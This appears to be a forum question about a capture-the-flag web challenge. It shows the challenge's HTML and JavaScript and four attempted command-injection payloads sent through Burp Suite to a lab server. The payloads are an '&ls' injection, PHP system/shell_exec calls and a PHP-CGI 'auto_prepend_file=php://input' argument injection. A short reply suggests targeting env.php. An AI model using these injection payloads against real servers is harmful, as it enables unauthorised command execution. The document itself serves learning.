The following code demonstrates the source code of this challenge and basically, I need to send a post request with arbitrary code to execute on the server. However, after multiple attempts Im unable to run any bash with the http request? What am I doing wrong here?
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Level 5</title>
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap.min.css" rel="stylesheet">
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap-theme.min.css" rel="stylesheet">
<link href="site.css" rel="stylesheet">
<script src="sn.js"></script>
</head>
<body>
<div class="container">
<div class="page-header">
<h1>Try This</h1>
<p class="lead">
<h2>Bash & Shell</h2>
</p>
<form class="navbar-form navbar-left" role="editvar" id="envform">
<div class="form-group">
<input type="text" class="form-control" placeholder="value" name="filter" onkeydown="testForEnter();">
</div>
<button type="button" class="btn btn-default" onclick="sendvalue(this.form.filter.value)">Submit</button>
</form>
<br>
</div>
<div id="envlist">
<pre>Waiting for variable...</pre>
</div>
</div>
<script language="JavaScript">
function testForEnter() {
if (event.keyCode == 13)
{
event.cancelBubble = true;
event.returnValue = false;
}
}
var http_request = false;
function getenv(newvalue) {
if (window.XMLHttpRequest) { // non IE
http_request = new XMLHttpRequest();
}
else if (window.ActiveXObject) { //
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (error) {}
}
if (!http_request) {
alert('Cannot create XML HTTP instance');
return false;
}
http_request.onreadystatechange = stateManager;
var myurl = "cgi-bin/env.php";
myurl = myurl + "?filter=" + sanitize(newvalue);
http_request.open("GET", myurl, true);
http_request.send(null);
}
function stateManager() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
updatepage(http_request.responseText);
} else {
alert('There was a problem with the request.');
}
}
}
function updatepage(str) {
document.getElementById("envlist").innerHTML = str;
}
function sendvalue(newvalue) {
getenv(newvalue)
}
</script>
</body>
</html>
Server Ip: 192.168.52.97
Link to the index page: http://192.168.52.97/eiw8a
php page: http://192.168.52.97/eiw8a/cgi-bin/test.php
known parameter: ?fitler=
Attempt 1 (burp suite repeater):
Header:
POST http://192.168.52.97/eiw8a/cgi-bin/test.php?filter=%26ls -l
Attempt 2 (burp suite repeater):
Header:
POST http://192.168.52.97/eiw8a/cgi-bin/test.php?filter=%26<?php echo shell_exec(ls); ?>
Attempt 3 (burp suite repeater):
Http Header:
POST http://192.168.52.97/eiw8a/cgi-bin/test.php?
Http Content:
<?php system(ls); ?>
Attempt 4 (burp suite repeater):
Http Header:
POST http://192.168.52.97/eiw8a/cgi-bin/test.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
Http Content:
<?php system(ls); ?>
cgi-bin/env.phpnottest.php, perhaps you need to send the payload toenv.phpinstead?